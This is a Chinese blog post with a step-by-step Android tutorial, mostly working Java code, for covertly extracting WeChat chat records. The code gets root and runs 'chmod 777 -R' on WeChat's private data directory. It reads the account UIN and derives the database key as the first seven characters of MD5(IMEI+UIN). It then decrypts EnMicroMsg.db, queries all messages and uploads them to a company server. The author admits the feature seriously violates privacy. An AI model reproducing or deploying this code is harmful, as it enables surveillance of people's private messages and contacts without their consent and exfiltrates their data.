美文网首页解决了我的疑惑
带你一步步破解Android微信聊天记录解决方案

带你一步步破解Android微信聊天记录解决方案

作者: 打酱油的日光灯 | 来源:发表于2019-12-09 14:29 被阅读0次

    哪个小可爱在偷偷的看我~~


    偷瞄.gif

    前言

    最近公司需要做个内部应用,需求有通话并录音上传服务器,微信聊天记录上传服务器,我擦,竟然要做严重窃取隐私的功能,一万个草泥马奔腾而来,于是乎开始研究如何实现,网上的文章都不是很详细,本篇文章带你来一步步实现如何获取微信聊天记录,通话录音上传另一篇文章将予介绍

    微信的聊天记录保存在Android内核中,路径如下:
    "/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db"目录下。

    说明

    1、微信聊天记录数据库它并不是保存sd卡下,而是保存在内核中,手机是看不到此目录,只有root过后才可以看到,至于如何Root这里就不做介绍了,如今手机越来越趋向于安全方面,所以root比较费事
    2、数据库保存在data/data目录下,我们需要访问此目录以获得我们需要的信息,直接访问权限还是不够,此时需要进一步获取root权限
    3、代码打开数据库,会遇到如下几个问题
    (1) 微信数据库是加密文件,需要获取密码才能打开,数据库密码为 《MD5(手机的IMEI+微信UIN)的前七位》
    (2) 微信数据库路径是一长串数字,如5a670a2e0d0c10dea9c7a4a49b812ce4,文件生成规则《MD5(“mm”+微信UIN)》 ,注:mm是字符串和微信uin拼接到一起再md5
    (3) 直接连接数据库微信会报异常,所以需要我们将数据库拷贝出来再进行打开
    (4) 获取微信UIN,目录位置在/data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml中,_auth_uin字段下的value
    (5) 获取数据库密码,密码规则为:MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
    4、打开加密数据库,因为微信数据是sqlite 2.0,所以需要支持2.0才可以打开,网上介绍的最多的是用这个第三方net.zetetic:android-database-sqlcipher:4.2.0@aar,但经测试不可行,后来选择用微信开源数据库com.tencent.wcdb:wcdb-android:1.0.0
    5、开始查找需要的内容,剩下的就是sq语言了,聊天记录在message表中,好友在rcontact表中,群信息在chatroom表中等,根据自己需求去查找
    6、为了更直观的看到表结构去操作,可以用sqlcipher去查看下载地址

    开始一步步实现

    1、获取root手机

    有好多root工具,经过踩坑是一键root不了6.0以上手机的,大家可以去选择其他方案去获取root手机

    2、项目获取微信数据库目录路径root最高权限

    因为只有获取了root最高权限才可以对文件进行操作,通过Linux命令去申请chmod 777 -R
    WX_ROOT_PATH="/data/data/com.tencent.mm/";
    申请时调用execRootCmd("chmod 777 -R " + WeChatUtil.WX_ROOT_PATH);
    方法如下

    /**
         * execRootCmd("chmod 777 -R /data/data/com.tencent.mm");
         * <p>
         * 执行linux指令 获取 root最高权限
         */
        public static void execRootCmd(String paramString) {
            try {
                Process localProcess = Runtime.getRuntime().exec("su");
                Object localObject = localProcess.getOutputStream();
                localDataOutputStream = new DataOutputStream((OutputStream) localObject);
                String str = String.valueOf(paramString);
                localObject = str + "\n";
                localDataOutputStream.writeBytes((String) localObject);
                localDataOutputStream.flush();
                localDataOutputStream.writeBytes("exit\n");
                localDataOutputStream.flush();
                localProcess.waitFor();
                localObject = localProcess.exitValue();
            } catch (Exception localException) {
                localException.printStackTrace();
            }finally {
                if (localDataOutputStream!=null){
                    try {
                        localDataOutputStream.close();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
            }
        }
    
    3、拿到数据库EnMicroMsg.db路径

    先看下数据库路径/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
    因为EnMicroMsg.db父级路径不同微信号是会变的,所以需要动态去获取,父级路径生成规则为《MD5(“mm”+微信UIN)》,下一步我们需要获取微信的uin
    WX_DB_DIR_PATH=/data/data/com.tencent.mm/MicroMsg/
    整体路径为WX_DB_DIR_PATH+《MD5(“mm”+微信UIN)》+/EnMicroMsg.db

    4、获取微信uin

    微信uin存储路径在\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml中,如图所示

    uin.jpg
    拿到此文件我们需要xml文件解析才可以获得_auth_uinvalue,解析工具dom4j下载地址
    /**
         * 获取微信的uid
         * 目标 _auth_uin
         * 存储位置为\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml
         */
        public static String initCurrWxUin(final Activity context) {
            String mCurrWxUin = null;
            File file = new File(WX_SP_UIN_PATH);
            try {
                in = new FileInputStream(file);
                SAXReader saxReader = new SAXReader();
                Document document = saxReader.read(in);
                Element root = document.getRootElement();
                List<Element> elements = root.elements();
                for (Element element : elements) {
                    if ("_auth_uin".equals(element.attributeValue("name"))) {
                        mCurrWxUin = element.attributeValue("value");
                    }
                }
    
                return mCurrWxUin;
            } catch (Exception e) {
                e.printStackTrace();
                if(MainActivity.isDebug){
                    Log.e("initCurrWxUin", "获取微信uid失败,请检查auth_info_key_prefs文件权限");
                }
                context.runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        Toast.makeText(context, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show();
                    }
                });
    
            }finally {
                try {
                    if(in!=null){
                        in.close();
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            return "";
        }
    
    5、获取微信数据库密码

    密码规则为MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
    上边我们已经获取了微信uin,接下来需要获取手机IMEI,
    获取方法1:在手机拨号键输入:*#06# 即可获取
    获取方法2:代码中获取

    /**
         * 获取手机的imei
         *
         * @return
         */
        @SuppressLint("MissingPermission")
        private static String getPhoneIMEI(Context mContext) {
    
            String id;
            //android.telephony.TelephonyManager
            TelephonyManager mTelephony = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
            if (mTelephony.getDeviceId() != null) {
                id = mTelephony.getDeviceId();
            } else {
                //android.provider.Settings;
                id = Settings.Secure.getString(mContext.getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID);
            }
            return id;
        }
    

    接下来需要生成密码

    /**
         * 根据imei和uin生成的md5码获取数据库的密码
         *
         * @return
         */
        public static String initDbPassword(final Activity mContext) {
            String imei = initPhoneIMEI(mContext);
            //以为不同手机微信拿到的识别码不一样,所以需要做特别处理,可能是MEID,可能是 IMEI1,可能是IMEI2
            if("868739046004754".equals(imei)){
                imei = "99001184251238";
            }
            else if("99001184249875".equals(imei)){
                imei = "868739045977497";
            }
            String uin = initCurrWxUin(mContext);
            if(BaseApp.isDebug){
                Log.e("initDbPassword", "imei===" + imei);
                Log.e("initDbPassword", "uin===" + uin);
            }
            try {
                if (TextUtils.isEmpty(imei) || TextUtils.isEmpty(uin)) {
                    if(BaseApp.isDebug){
                        Log.e("initDbPassword", "初始化数据库密码失败:imei或uid为空");
                    }
                    mContext.runOnUiThread(new Runnable() {
                        @Override
                        public void run() {
                            Toast.makeText(mContext, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show();
                        }
                    });
                    return "";
                }
                String md5 = Md5Utils.md5Encode(imei + uin);
                String password = md5.substring(0, 7).toLowerCase();
                if(BaseApp.isDebug){
                    Log.e("initDbPassword", password);
                }
                return password;
            } catch (Exception e) {
                if(BaseApp.isDebug){
                    Log.e("initDbPassword", e.getMessage());
                }
            }
            return "";
        }
    
    6、复制数据库

    为啥要复制数据库呢?因为直接去链接数据库微信会奔溃,所以我们需要将数据库拷贝出来再进行操作
    踩坑1:数据库复制的路径也需要获取root权限,即Linux 的chmod 777 -R去申请
    踩坑2:复制的路径如果是二级目录,需要一级一级去申请
    于是我直接放到根目录下了copyPath = Environment.getExternalStorageDirectory().getPath() + "/";
    再获取root最高权限execRootCmd("chmod 777 -R " + copyPath);
    path=/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
    复制数据库 FileUtilCopy.copyFile(path, copyFilePath);

    public class FileUtilCopy {
        private static FileOutputStream fs;
        private static InputStream inStream;
    
        /**
         * 复制单个文件
         *
         * @param oldPath String 原文件路径 如:c:/fqf.txt
         * @param newPath String 复制后路径 如:f:/fqf.txt
         * @return boolean
         */
        public static void copyFile(String oldPath, String newPath) {
            try {
                int byteRead = 0;
                File oldFile = new File(oldPath);
    
                //文件存在时
                if (oldFile.exists()) {
                    //读入原文件
                    inStream = new FileInputStream(oldPath);
                    fs = new FileOutputStream(newPath);
                    byte[] buffer = new byte[1444];
                    while ((byteRead = inStream.read(buffer)) != -1) {
                        fs.write(buffer, 0, byteRead);
                    }
                }
    
            } catch (Exception e) {
                if (BaseApp.isDebug) {
                    Log.e("copyFile", "复制单个文件操作出错");
                }
                e.printStackTrace();
            } finally {
                try {
                    if (inStream != null) {
                        inStream.close();
                    }
                    if (fs != null) {
                        fs.close();
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                }
    
            }
        }
    }
    
    7、打开数据库

    注:网上好多介绍都是用net.zetetic:android-database-sqlcipher:4.2.0@aar去打开的,但经过测试打不开
    于是用了微信自家开源的数据库打开了com.tencent.wcdb:wcdb-android:1.0.0,微信还是对自家人友善

     /**
         * 连接数据库
         */
        public void openWxDb(File dbFile, final Activity mContext, String mDbPassword) {
    
            SQLiteCipherSpec cipher = new SQLiteCipherSpec()  // 加密描述对象
                    .setPageSize(1024)        // SQLCipher 默认 Page size 为 1024
                    .setSQLCipherVersion(1);  // 1,2,3 分别对应 1.x, 2.x, 3.x 创建的 SQLCipher 数据库
    
            try {
                //打开数据库连接
                System.out.println(dbFile.length() + "================================");
                SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(
                        dbFile,     // DB 路径
                        mDbPassword.getBytes(),  // WCDB 密码参数类型为 byte[]
                        cipher,                 // 上面创建的加密描述对象
                        null,                   // CursorFactory
                        null                    // DatabaseErrorHandler
                        // SQLiteDatabaseHook 参数去掉了,在cipher里指定参数可达到同样目的
                );
                //获取消息记录
                getReMessageData(db);
            } catch (Exception e) {
                Log.e("openWxDb", "读取数据库信息失败" + e.toString());
                runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        showToast("读取数据库信息失败");
                        L.e("读取数据库信息失败");
                    }
                });
            }
        }
    
    8、演示获取微信聊天记录并上传

    可以让后台保存最后上传时间,下次上传新消息时用最后时间取查
    注:微信数据库时间精确到毫秒

    String messageSql = "select * from message where  createTime >";
    
        /**
         * 获取聊天记录并上传
         *
         * @param db
         */
        public void getReMessageData(SQLiteDatabase db) {
            Cursor cursor3 = null;
            if (BaseApp.isDebug) {
    //            Log.e("query查询分割时间", DateUtil.timeStamp2Date(longLastUpdateTime + EMPTY));
            }
            try {
                //判断是否强制更新所有的记录
                if (mLastTime == 0) {
                    //如果是选择全部,则sql 为0
                    if (true) {
                        cursor3 = db.rawQuery(messageSql + 0, null);
                        Log.e("query", "更新状态:更新全部记录" + messageSql + 0);
                    } else {
                        //不是选择全部,则sql 为用户输入值
    //                    String searchMessageSql = messageSql + addTimestamp+ "  and createTime < "+endTimestamp;
    //                    cursor3 = db.rawQuery(searchMessageSql, null);
    //                    Log.e("query", "更新状态:更新选择的全部记录" + searchMessageSql);
                    }
                } else {
                    Log.e("query", "按时间节点查询" + messageSql +mLastTime);
                    cursor3 = db.rawQuery((messageSql + mLastTime), null);
    //                Log.e("query", "更新状态:增量更新部分记录" + messageSql + longLastUpdateTime);
                }
    
                List<WeChatMessageBean> weChatMessageBeans = new ArrayList<>();
    
                while (cursor3.moveToNext()) {
                    String content = cursor3.getString(cursor3.getColumnIndex("content"));
    
                    if (content != null && !TextUtils.isEmpty(content)) {
    
                        WeChatMessageBean messageBean = new WeChatMessageBean();
                        String msg_id = cursor3.getString(cursor3.getColumnIndex("msgId"));
                        int type = cursor3.getInt(cursor3.getColumnIndex("type"));
                        int status = cursor3.getInt(cursor3.getColumnIndex("status"));
                        int is_send = cursor3.getInt(cursor3.getColumnIndex("isSend"));
                        String create_time = cursor3.getString(cursor3.getColumnIndex("createTime"));
                        String talker = cursor3.getString(cursor3.getColumnIndex("talker"));
    
                        messageBean.setMsg_id(msg_id);
                        messageBean.setType(type);
                        messageBean.setStatus(status);
                        messageBean.setIs_send(is_send);
                        messageBean.setCreate_time(create_time);
                        messageBean.setContent(content);
                        messageBean.setTalker(talker);
                        weChatMessageBeans.add(messageBean);
                    }
                }
                if (weChatMessageBeans.size() < 1) {
                    L.e("当前无最新消息>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>");
                    return;
                }
    
                //3.把list或对象转化为json
                Gson gson2 = new Gson();
                String str = gson2.toJson(weChatMessageBeans);
                if (BaseApp.isDebug) {
                    Logger.json(str);
                }
                //上传服务器
                mPresenter.getWechatRecordSuccess(str);
    
            } catch (Exception e) {
                Log.e("openWxDb", "读取数据库信息失败" + e.toString());
                runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        L.e("读取数据库信息失败");
                        showToast("读取数据库信息失败");
    
                    }
                });
            } finally {
                if (cursor3 != null) {
                    cursor3.close();
                }
                if (db != null) {
                    db.close();
                }
            }
    
        }
    
    9、pc端更直观去查看数据库结构可通过sqlcipher去查看下载地址

    "/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db"
    将数据库EnMicroMsg.db拷贝到电脑上
    用SQLit打开

    数据库1.png 数据库2.png
    数据库3.png

    最后祝大家开发愉快!

    相关文章

      网友评论

        本文标题:带你一步步破解Android微信聊天记录解决方案

        本文链接:https://www.haomeiwen.com/subject/snwrictx.html